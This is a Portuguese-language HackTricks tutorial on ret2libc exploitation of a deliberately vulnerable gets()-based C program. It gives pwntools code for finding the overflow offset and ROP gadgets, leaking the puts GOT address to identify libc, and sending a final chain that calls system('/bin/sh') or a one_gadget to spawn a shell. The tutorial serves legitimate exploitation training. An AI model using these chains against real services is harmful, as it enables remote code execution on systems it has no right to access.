hacktricks/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address

Vazando endereço da libc com ROP

Aprenda hacking AWS do zero ao avançado com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

• Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
• Adquira o swag oficial PEASS & HackTricks
• Descubra A Família PEASS, nossa coleção exclusiva de NFTs
• Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
• Compartilhe seus truques de hacking enviando PRs para os repositórios HackTricks e HackTricks Cloud.

Resumo Rápido

1. Encontre o deslocamento do overflow
2. Encontre os gadgets POP_RDI, PUTS_PLT e MAIN_PLT
3. Use os gadgets anteriores para vazar o endereço de memória do puts ou outra função libc e encontre a versão da libc (baixe-a)
4. Com a biblioteca, calcule o ROP e explore-o

Outros tutoriais e binários para praticar

Este tutorial vai explorar o código/binário proposto neste tutorial: https://tasteofsecurity.com/security/ret2libc-unknown-libc/
Outros tutoriais úteis: https://made0x78.com/bseries-ret2libc/, https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html

Código

Nome do arquivo: vuln.c

#include <stdio.h>

int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);

return 0;
}

gcc -o vuln vuln.c -fno-stack-protector -no-pie

ROP - Modelo de Vazamento de LIBC

Vou usar o código localizado aqui para fazer o exploit.
Baixe o exploit e coloque-o no mesmo diretório do binário vulnerável e forneça os dados necessários ao script:

{% content-ref url="rop-leaking-libc-template.md" %} rop-leaking-libc-template.md {% endcontent-ref %}

1- Encontrando o deslocamento

O modelo precisa de um deslocamento antes de continuar com o exploit. Se nenhum for fornecido, ele executará o código necessário para encontrá-lo (por padrão OFFSET = ""):

###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return

Execute python template.py uma consola GDB será aberta com o programa a falhar. Dentro dessa consola GDB execute x/wx $rsp para obter os bytes que iriam sobrescrever o RIP. Por fim, obtenha o offset usando uma consola python:

from pwn import *
cyclic_find(0x6161616b)

Depois de encontrar o deslocamento (neste caso 40), altere a variável OFFSET no modelo usando esse valor.
OFFSET = "A" * 40

Outra maneira seria usar: pattern create 1000 -- execute until ret -- pattern seach $rsp do GEF.

2- Encontrando Gadgets

Agora precisamos encontrar gadgets ROP dentro do binário. Esses gadgets ROP serão úteis para chamar puts para encontrar a libc sendo usada e, posteriormente, lançar o exploit final.

PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]

log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret  gadget: " + hex(POP_RDI))

O PUTS_PLT é necessário para chamar a função puts.
O MAIN_PLT é necessário para chamar a função principal novamente após uma interação para explorar o estouro de pilha novamente (rodadas infinitas de exploração). É usado no final de cada ROP para chamar o programa novamente.
O POP_RDI é necessário para passar um parâmetro para a função chamada.

Nesta etapa, você não precisa executar nada, pois tudo será encontrado pelo pwntools durante a execução.

3- Encontrando a biblioteca libc

Agora é hora de descobrir qual versão da biblioteca libc está sendo usada. Para fazer isso, vamos vazar o endereço na memória da função puts e então vamos procurar em qual versão da biblioteca a versão do puts está nesse endereço.

def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)

#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address,  "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

return hex(leak)

get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()

Para fazer isso, a linha mais importante do código executado é:

rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

Isso enviará alguns bytes até sobrescrever o RIP ser possível: OFFSET.
Em seguida, ele definirá o endereço do gadget POP_RDI para que o próximo endereço (FUNC_GOT) seja salvo no registro RDI. Isso ocorre porque queremos chamar puts passando o endereço do PUTS_GOT como o endereço na memória da função puts é salvo no endereço apontado por PUTS_GOT.
Depois disso, PUTS_PLT será chamado (com PUTS_GOT dentro do RDI) para que puts leia o conteúdo dentro de PUTS_GOT (o endereço da função puts na memória) e o imprima.
Por fim, a função principal é chamada novamente para que possamos explorar a sobrecarga novamente.

Dessa forma, enganamos a função puts para imprimir o endereço na memória da função puts (que está dentro da biblioteca libc). Agora que temos esse endereço, podemos pesquisar qual versão da libc está sendo usada.

Como estamos explorando um binário local, não é necessário descobrir qual versão da libc está sendo usada (apenas encontre a biblioteca em /lib/x86_64-linux-gnu/libc.so.6).
Mas, em um caso de exploração remota, explicarei aqui como você pode encontrá-la:

3.1- Procurando pela versão da libc (1)

Você pode pesquisar qual biblioteca está sendo usada na página da web: https://libc.blukat.me/
Isso também permitirá que você baixe a versão descoberta da libc

3.2- Procurando pela versão da libc (2)

Você também pode fazer:

• $ git clone https://github.com/niklasb/libc-database.git
• $ cd libc-database
• $ ./get

Isso levará algum tempo, seja paciente.
Para isso funcionar, precisamos de:

• Nome do símbolo da libc: puts
• Endereço da libc vazado: 0x7ff629878690

Podemos descobrir qual libc é mais provável que esteja sendo usada.

./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)

Obtemos 2 correspondências (deves tentar a segunda se a primeira não funcionar). Faz o download da primeira:

./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64

Copie a libc de libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so para o nosso diretório de trabalho.

3.3- Outras funções para vazamento

puts
printf
__libc_start_main
read
gets

4- Encontrando o endereço base da libc e explorando

Neste ponto, devemos saber a biblioteca libc utilizada. Como estamos explorando um binário local, vou usar apenas: /lib/x86_64-linux-gnu/libc.so.6

Portanto, no início do template.py, altere a variável libc para: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Defina o caminho da biblioteca quando souber

Ao fornecer o caminho para a biblioteca libc, o restante da exploit será calculado automaticamente.

Dentro da função get_addr, o endereço base da libc será calculado:

if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

{% hint style="info" %} Note que o endereço base final da libc deve terminar em 00. Se esse não for o seu caso, você pode ter vazado uma biblioteca incorreta. {% endhint %}

Em seguida, o endereço da função system e o endereço da string "/bin/sh" serão calculados a partir do endereço base da libc e considerando a biblioteca libc fornecida.

BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]

log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))

Finalmente, a exploração de execução /bin/sh está prestes a ser preparada e enviada:

rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)

p.clean()
p.sendline(rop2)

#### Interact with the shell #####
p.interactive() #Interact with the conenction

Vamos explicar este último ROP.
O último ROP (rop1) terminou chamando novamente a função principal, então podemos explorar novamente o estouro de pilha (por isso o OFFSET está aqui novamente). Em seguida, queremos chamar POP_RDI apontando para o endereço de "/bin/sh" (BINSH) e chamar a função system (SYSTEM) porque o endereço de "/bin/sh" será passado como parâmetro.
Por fim, o endereço da função exit é chamado para que o processo saia corretamente e nenhum alerta seja gerado.

Dessa forma, o exploit executará um shell _/bin/sh_**.

4(2)- Usando ONE_GADGET

Você também poderia usar ONE_GADGET para obter um shell em vez de usar system e "/bin/sh". ONE_GADGET encontrará dentro da biblioteca libc alguma maneira de obter um shell usando apenas um endereço ROP.
No entanto, normalmente existem algumas restrições, as mais comuns e fáceis de evitar são como [rsp+0x30] == NULL. Como você controla os valores dentro do RSP, basta enviar mais valores NULL para evitar a restrição.

ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100

FICHEIRO DE EXPLOIT

Pode encontrar um modelo para explorar esta vulnerabilidade aqui:

{% content-ref url="rop-leaking-libc-template.md" %} rop-leaking-libc-template.md {% endcontent-ref %}

Problemas Comuns

MAIN_PLT = elf.symbols['main'] não encontrado

Se o símbolo "main" não existir. Então pode encontrar onde está o código principal:

objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:

e defina o endereço manualmente:

MAIN_PLT = 0x401080

Puts não encontrado

Se o binário não estiver usando Puts, você deve verificar se está usando

sh: 1: %s%s%s%s%s%s%s%s: not found

Se você encontrar este erro após criar todo o exploit: sh: 1: %s%s%s%s%s%s%s%s: not found

Tente subtrair 64 bytes do endereço de "/bin/sh":

BINSH = next(libc.search("/bin/sh")) - 64

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

• Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF Verifique os PLANOS DE ASSINATURA!
• Adquira o swag oficial PEASS & HackTricks
• Descubra A Família PEASS, nossa coleção exclusiva de NFTs
• Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
• Compartilhe seus truques de hacking enviando PRs para os HackTricks e HackTricks Cloud repositórios do github.